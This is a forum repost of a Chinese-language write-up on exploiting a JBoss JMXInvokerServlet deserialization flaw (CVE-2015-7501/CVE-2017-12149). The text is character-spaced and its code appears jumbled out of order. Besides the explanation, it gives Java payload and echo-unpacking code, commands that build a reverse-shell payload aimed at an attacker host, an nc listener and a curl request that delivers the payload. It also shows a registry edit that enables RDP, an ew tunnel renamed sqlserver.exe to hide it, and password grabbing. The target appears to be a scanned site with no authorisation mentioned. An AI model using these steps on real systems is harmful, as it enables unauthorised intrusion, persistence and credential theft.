搜索

[18558] 2021-05-06_记一次渗透测试之JMXInvokerServlet反序列化漏洞

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-05-06_记一次渗透测试之JMXInvokerServlet反序列化漏洞 记 一 次 渗 透 测 试 之 J M X I n v o k e r S e r v l e t 反 序 列 化 漏 洞 原 创   C k i n   H A C K 学 习 呀   2 0 2 1 - 0 5 - 0 6 0 x 0 0   前 言 前 言   今 天 扫 到 了 一 个 j b o s s 的 站 十 分 奇 怪 ， 存 在 j m x - c o n s o l e 和 J M X I n v o k e r S e r v l e t 漏 洞   但 是 通 过 w a r 远 程 部 署 的 方 法 访 问 j s p 小 马 的 时 候 页 面 报 错 5 0 0 ， 推 测 应 该 是 禁 止 了 w e b 流 量 的 原 因 ， 那 么 只 能 通 过 J M X I n v o k e r S e r v l e t 拿 他 的 s h e l l 了   0 x 0 1   J b o s s 反 序 列 化 的 原 理 反 序 列 化 的 原 理   J M X I n v o k e r S e r v l e t   反 序 列 化 漏 洞 和 J b o s s   的   H t t p I n v o k e r   组 件 中 的 R e a d O n l y A c c e s s F i l t e r   过 滤 器 的 漏 洞 可 以 是 同 一 个 操 作 思 路 就 能 进 行 “ 一 打 二 ”   J b o s s 反 序 列 化 的 漏 洞 编 号 为 ： C V E - 2 0 1 5 - 7 5 0 1 和 和 C V E - 2 0 1 7 - 1 2 1 4 9   C V E - 2 0 1 5 - 7 5 0 1 漏 洞 ： J B o s s 在   / i n v o k e r / J M X I n v o k e r S e r v l e t   请 求 中 读 取 了 用 户 传 入 的 对 象 ， 然 后 我 们 可 以 利 用   A p a c h e   C o m m o n s   C o l l e c t i o n s   中 的   G a d g e t   执 行 任 意 代 码 。 C V E - 2 0 1 7 - 1 2 1 4 9 漏 洞 ： 该 漏 洞 为   J a v a 反 序 列 化 错 误 类 型 ， 存 在 于   J b o s s   的   H t t p I n v o k e r   组 件 中 的   R e a d O n l y A c c e s s F i l t e r   过 滤 器 中 没 有 进 行 任 何 安 全 检 查 的 情 况 下 尝 试 将 来 自 客 户 端 的 数 据 流 进 行 反 序 列 化 ， 从 而 导 致 了 漏 洞 。   不 过 我 也 不 是 专 门 走 j a v a 路 线 的 ， 所 以 j a v a 栈 也 不 在 我 的 技 术 范 围 之 内 ， 这 里 只 好 搜 集 各 种 资 料 试 图 对 两 个 漏 洞 的 原 理 进 行 了 解 。   这 里 先 说 两 个 概 念 ： 这 里 先 说 两 个 概 念 ：   J a v a 序 列 化 就 是 指 把 J a v a 对 象 转 换 为 字 节 序 列 的 过 程 ， 在 传 递 和 保 存 对 象 时 . 保 证 对 象 的 完 整 性 和 可 传 递 性 。 对 象 转 换 为 有 序 字 节 流 , 以 便 在 网 络 上 传 输 或 者 保 存 在 本 地 文 件 中 。   J a v a 反 序 列 化 就 是 指 把 字 节 序 列 恢 复 为 J a v a 对 象 的 过 程 ， 根 据 字 节 流 中 保 存 的 对 象 状 态 及 描 述 信 息 ， 通 过 反 序 列 化 重 建 对 象 。   用 代 码 看 就 是 ：   序 列 化 ： 反 序 列 化 : C V E - 2 0 1 5 - 7 5 0 1 ， 这 是 经 典 的 J B o s s 反 序 列 化 漏 洞 ， 漏 洞 产 生 的 原 因 是 J B o s s 在 / i n v o k e r / J M X I n v o k e r S e r v l e t 请 求 中 读 取 了 用 户 传 入 的 对 象   而 C V E - 2 0 1 7 - 1 2 1 4 9 的 漏 洞 出 现 在 H t t p I n v o k e r 组 件 中 的 R e a d O n l y A c c e s s F i l t e r 过 滤 器 中 ， 源 码 在 j b o s s s e r v e r a l l d e p l o y h t t p h a - i n v o k e r . s a r i n v o k e r . w a r W E B - I N F c l a s s e s o r g j b o s s i n v o c a t i o n h t t p s e r v l e t 目 录 下 的 R e a d O n l y A c c e s s F i l t e r . c l a s s 文 件 中 , 其 中 d o F i l t e r 函 数 代 码 如 下 :     可 以 看 出 它 从 h t t p 中 获 取 数 据 ， 通 过 调 用 r e a d o b j e c t ( ) 方 法 对 数 据 流 进 行 反 序 列 操 作 ， 但 是 没 有 进 行 检 查 或 者 过 滤 F i l e O u t p u t S t r e a m   f o s   =   n e w   F i l e O u t p u t S t r e a m ( f i l e ) ; O b j e c t O u t p u t S t r e a m   o o s   =   n e w   O b j e c t O u t p u t S t r e a m ( f o s ) ; o o s . w r i t e O b j e c t ( s t ) ; F i l e I n p u t S t r e a m   f i s   =   n e w   F i l e I n p u t S t r e a m ( f i l e ) ; O b j e c t I n p u t S t r e a m   o i s   =   n e w   O b j e c t I n p u t S t r e a m ( f i s ) ; S t u d e n t   s t 1   =   ( S t u d e n t )   o i s . r e a d O b j e c t ( ) ;
  这 就 造 成 了 J B o s s 中 i n v o k e r / J M X I n v o k e r S e r v l e t 路 径 对 外 开 放 ， 而 且 J B o s s 的 j m x 组 件 支 持 J a v a 反 序 列 化   0 x 0 2   漏 洞 利 用 漏 洞 利 用   注 意 E X P 只 能 利 用 服 务 器 本 机 的 资 源 ， 不 能 加 载 远 程 类   通 过 对 漏 洞 成 因 分 析 可 以 得 知 ， 我 们 只 能 通 过 链 式 调 用 来 执 行 j a v a 语 句 。 换 句 话 说 ， 我 们 所 想 执 行 的 语 句 必 须 可 以 写 到 一 行 里 面 ， 而 且 还 不 能 带 分 号 ：   (   其 实 这 里 很 好 突 破 ， 我 们 只 要 把 我 们 想 要 执 行 的 任 意 代 码 （ 无 论 有 多 长 ） 在 本 地 编 译 成 c l a s s ， 然 后 把 c l a s s 字 节 码 上 传 到 服 务 器 就 可 以 了 。 然 后 问 题 又 来 了 ， 怎 么 上 传 呢 ， 上 传 到 什 么 路 径 下 面 呢 ？ 上 传 可 以 通 过 F i l e O u t p u t S t r e a m 这 个 类 来 实 现 ， 上 传 路 径 就 更 简 单 了 ， 直 接 给 F i l e O u t p u t S t r e a m 传 个 “ . ” 过 去 ， 上 传 到 程 序 运 行 的 当 前 目 录 下 面 , 一 句 话 代 码 ： 上 传 的 问 题 解 决 了 ， 下 面 执 行 也 就 好 办 了 ， 一 句 代 码 ： 这 样 就 可 以 只 利 用 服 务 器 本 机 资 源 ， 不 需 要 联 网 ， 可 以 上 传 任 意 文 件 至 任 意 目 录 。   获 取 命 令 回 显 内 容 ：   通 过 对 J B O S S 中 i n v o k e r / J M X I n v o k e r S e r v l e t 的 返 回 结 果 进 行 分 析 ， 得 知 返 回 的 是 一 个   M a r s h a l l e d V a l u e 对 象 ， 该 对 象 封 装 了 i n v o k e r / J M X I n v o k e r S e r v l e t 的 返 回 值 ， 如 果 执 行 过 程 中 有 异 常 抛 出 ， 一 个 I n v o c a t i o n E x c e p t i o n 对 象 就 会 封 装 在 M a r s h a l l e d V a l u e 对 象 里 面 。   到 这 里 思 路 就 很 明 确 了 ， j a v a   的 异 常 有 个 构 造 函 数 是 可 以 传 S t r i n g 参 数 的 ， 我 们 可 以 把 第 一 步 那 个 c l a s s 文 件 中 命 令 执 行 的 结 果 作 为 参 数 构 造 一 个 E x c e p t i o n ， 然 后 在 p a y l o a d . c l a s s 最 后 t h r o w 这 个 E x c e p t i o n ， 这 样 这 个 带 有 回 显 内 容 的 E x c e p t i o n 就 会 封 装 在 M a r s h a l l e d V a l u e 对 象 里 面 通 过 h t t p 协 议 返 回 ， 我 们 只 要 把 返 回 的 M a r s h a l l e d V a l u e 对 象 解 包 ， 就 可 以 获 取 回 显 的 内 容 了 。   p a y l o a d . j a v a 的 源 代 码 如 下 : 解 包 程 序 的 源 代 码 : n e w   F i l e O u t p u t S t r e a m ( “ . / p a y l o a d . c l a s s ” ) . w r i t e ( n e w   b y t e [ ] { 0 x X X , 0 x X X … … } ) j a v a . n e t . U R L C l a s s L o a d e r .   g e t C o n s t r u c t o r ( j a v a . n e t . U R L [ ] . c l a s s ) .   n e w I n s t a n c e ( n e w   j a v a . n e t . U R L [ ]   { n e w   j a v a . n e t . U R L ( " f i l e : . / " ) } ) .   l o a d C l a s s ( “ p a y l o a d ” ) .   n e w I n s t a n c e ( “ c m d . e x e   / c   w h o a m i ” ) i m p o r t   j a v a . i o . B u f f e r e d R e a d e r ; i m p o r t   j a v a . i o . I n p u t S t r e a m R e a d e r ; p u b l i c   c l a s s   R u n C h e c k C o n f i g   { p u b l i c   R u n C h e c k C o n f i g ( S t r i n g     a r g s )   t h r o w s   E x c e p t i o n { P r o c e s s   p r o c   =   R u n t i m e . g e t R u n t i m e ( ) . e x e c ( a r g s ) ; B u f f e r e d R e a d e r   b r   =   n e w   B u f f e r e d R e a d e r ( n e w   I n p u t S t r e a m R e a d e r ( p r o c . g e t I n p u t S t r e a m ( ) ) ) ; S t r i n g B u f f e r   s b   =   n e w   S t r i n g B u f f e r ( ) ; S t r i n g   l i n e ; w h i l e   ( ( l i n e   =   b r . r e a d L i n e ( ) )   ! =   n u l l ) { s b . a p p e n d ( l i n e ) . a p p e n d ( " n " ) ; } S t r i n g   r e s u l t   =   s b . t o S t r i n g ( ) ; E x c e p t i o n   e = n e w   E x c e p t i o n ( r e s u l t ) ; t h r o w   e ; } } p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g   a r g s [ ] )   t h r o w s   E x c e p t i o n { F i l e I n p u t S t r e a m   f i s   =   n e w   F i l e I n p u t S t r e a m ( " d : / r e s p o n s e . b i n " ) ; b y t e   T e m p B y t e [ ] = n e w   b y t e [ 5 0 0 0 * 1 0 0 0 ] ; i n t   l e n g t h = f i s . r e a d ( T e m p B y t e ) ; i n t   C l a s s S t a r t = 0 ; f o r   ( i n t   i = 0 ; i < l e n g t h ; i + + ) { i f   ( T e m p B y t e [ i ] = = 0 x 0 d & & T e m p B y t e [ i + 1 ] = = 0 x 0 a & & T e m p B y t e [ i + 2 ] = = 0 x 0 d & & T e m p B y t e [ i + 3 ] = = 0 x 0 a ) { S y s t e m . o u t . p r i n t l n ( i ) ; C l a s s S t a r t = i ; b r e a k ; } } b y t e   C l a s s B y t e [ ] = n e w   b y t e [ l e n g t h - C l a s s S t a r t - 4 ] ; f o r   ( i n t   i = 0 ; i < C l a s s B y t e . l e n g t h ; i + + ) { C l a s s B y t e [ i ] = T e m p B y t e [ i + C l a s s S t a r t + 4 ] ; } f i s . c l o s e ( ) ; T e m p B y t e = n u l l ; B y t e A r r a y I n p u t S t r e a m   a i = n e w   B y t e A r r a y I n p u t S t r e a m ( C l a s s B y t e ) ; O b j e c t I n p u t S t r e a m   o i s   =   n e w   O b j e c t I n p u t S t r e a m ( a i ) ;
下 面 是 解 包 后 的 截 图 ：       0 x 0 3   漏 洞 实 战 漏 洞 实 战   前 文 提 到 ， 可 以 用 e x p 执 行 命 令 回 显 ， 师 傅 已 经 帮 我 们 铺 好 了 道 路 ， 写 好 了 脚 本 去 检 测 是 否 有 这 个 漏 洞 存 在   这 里 先 用 脚 本 扫 描 出 存 在 J M X I n v o k e r S e r v l e t 反 序 列 化 ， 这 里 其 实 可 以 用 工 具 直 接 拿 s h e l l 上 线 ， 但 是 这 个 s h e l l 是 一 个 交 互 式 s h e l l 并 不 稳 定 ， 随 时 有 掉 线 的 可 能 ， 所 以 我 这 里 选 择 手 动 利 用   O b j e c t I n p u t S t r e a m   o i s   =   n e w   O b j e c t I n p u t S t r e a m ( a i ) ; M a r s h a l l e d V a l u e   s t 1   =   ( M a r s h a l l e d V a l u e )   o i s . r e a d O b j e c t ( ) ; I n v o c a t i o n E x c e p t i o n   o = ( I n v o c a t i o n E x c e p t i o n )   s t 1 . g e t ( ) ; S y s t e m . o u t . p r i n t l n ( o . g e t T a r g e t E x c e p t i o n ( ) . g e t C a u s e ( ) . g e t C a u s e ( ) . g e t C a u s e ( ) . g e t M e s s a g e ( ) ) ; }
  这 里 需 要 利 用 反 弹 流 量 ， 所 以 需 要 准 备 一 台 有 公 网 i p 的 v p s   利 用 j b o s s 反 序 列 化 工 具 ： h t t p s : / / g i t h u b . c o m / i a n x t i a n x t / C V E - 2 0 1 5 - 7 5 0 1 /   把 反 序 列 化 工 具 解 压 到 v p s ， 执 行 如 下 命 令 这 个 时 候 在 这 个 目 录 下 生 成 了 一 个 R e v e r s e S h e l l C o m m o n s C o l l e c t i o n s H a s h M a p . s e r 文 件 这 时 候 我 们 在 本 地 用 n c 监 听 一 个 端 口 接 受 反 弹 s h e l l j a v a c   - c p   . : c o m m o n s - c o l l e c t i o n s - 3 . 2 . 1 . j a r   R e v e r s e S h e l l C o m m o n s C o l l e c t i o n s H a s h M a p . j a v a   j a v a   - c p   . : c o m m o n s - c o l l e c t i o n s - 3 . 2 . 1 . j a r   R e v e r s e S h e l l C o m m o n s C o l l e c t i o n s H a s h M a p   i p : 4 4 4 4 （ I P 是 攻 击 机 i p , 即 公 网 i p , 4 4 4 4 是 要 监 听 的 端 口 ) n c   - l v n p   4 4 4 4
  然 后 我 们 再 使 用 一 个 c u r l 去 请 求 反 弹 建 立 连 接 这 里 再 切 回 n c 界 面 发 现 s h e l l 已 经 反 弹 了 过 来 然 后 c s 上 线 抓 密 码   开 3 3 8 9 c u r l   h t t p : / / 被 攻 击 机 i p : 端 口 / i n v o k e r / J M X I n v o k e r S e r v l e t   - - d a t a - b i n a r y   @ R e v e r s e S h e l l C o m m o n s C o l l e c t i o n s H a s h M a p . s e r R E G   A D D   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l "   " S e r v e r   / v   f D e n y T S C o n n e c t i o n s   / t   R E G _ D W O R D   / d   0 0 0 0 0 0 0 0   / f
v p s 上 传 e w 作 反 向 代 理 ， 使 目 标 机 能 够 访 问 我 的 v p s ， 但 是 我 访 问 不 到 他     把 e w _ f o r _ w i n d o w s 上 传 到 目 标 机 上 ， 这 里 我 为 了 隐 蔽 改 了 一 个 名 字 叫 s q l s e r v e r . e x e   再 回 到 我 们 的 v p s 发 现 已 经 接 受 到 了 流 量 直 接 本 地 连 接 v p s 的 1 1 1 1 端 口   登 录 成 功     0 x 0 4   后 记 后 记   j b o s s 的 总 体 漏 洞 相 比 w e b l o g i c 来 说 是 比 较 少 的 ， 但 是 在 j m x 反 序 列 化 这 一 块 确 实 重 灾 区 ， 虽 然 脚 本 能 够 帮 我 们 直 接 拿 下 一 个 s h e l l ， 但 是 因 为 是 交 互 性 的 s h e l l ， 随 时 都 有 可 能 掉 线 ， 所 以 这 时 候 就 需 要 我 们 用 v p s 手 动 去 利 用 这 个 j m x 反 序 列 化 的 漏 洞 。 c h m o d   7 7 7   e w _ f o r _ l i n u x       / / 赋 予 e w 读 写 权 限 . / e w _ f o r _ l i n u x 6 4   - s   l c x _ l i s t e n   - l   1 1 1 1   - e   1 2 3 4       / / 将 1 1 1 1 接 收 到 的 流 量 转 发 到 1 2 3 4 端 口 s h e l l   e w _ f o r _ w i n d o w s . e x e   - s   l c x _ s l a v e   - d   v p s - i p   - e   1 2 3 4   - f   目 标 机 内 网 i p   - g   3 3 8 9
推 荐 阅 读 ： 推 荐 阅 读 ： 本 月 报 名 可 以 参 加 抽 奖 送 暗 夜 精 灵 6 P r o 笔 记 本 电 脑 的 优 惠 活 动 点 赞 ， 转 发 ， 在 看 点 赞 ， 转 发 ， 在 看 原 创 投 稿 作 者 ： H o p e V e n u s
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理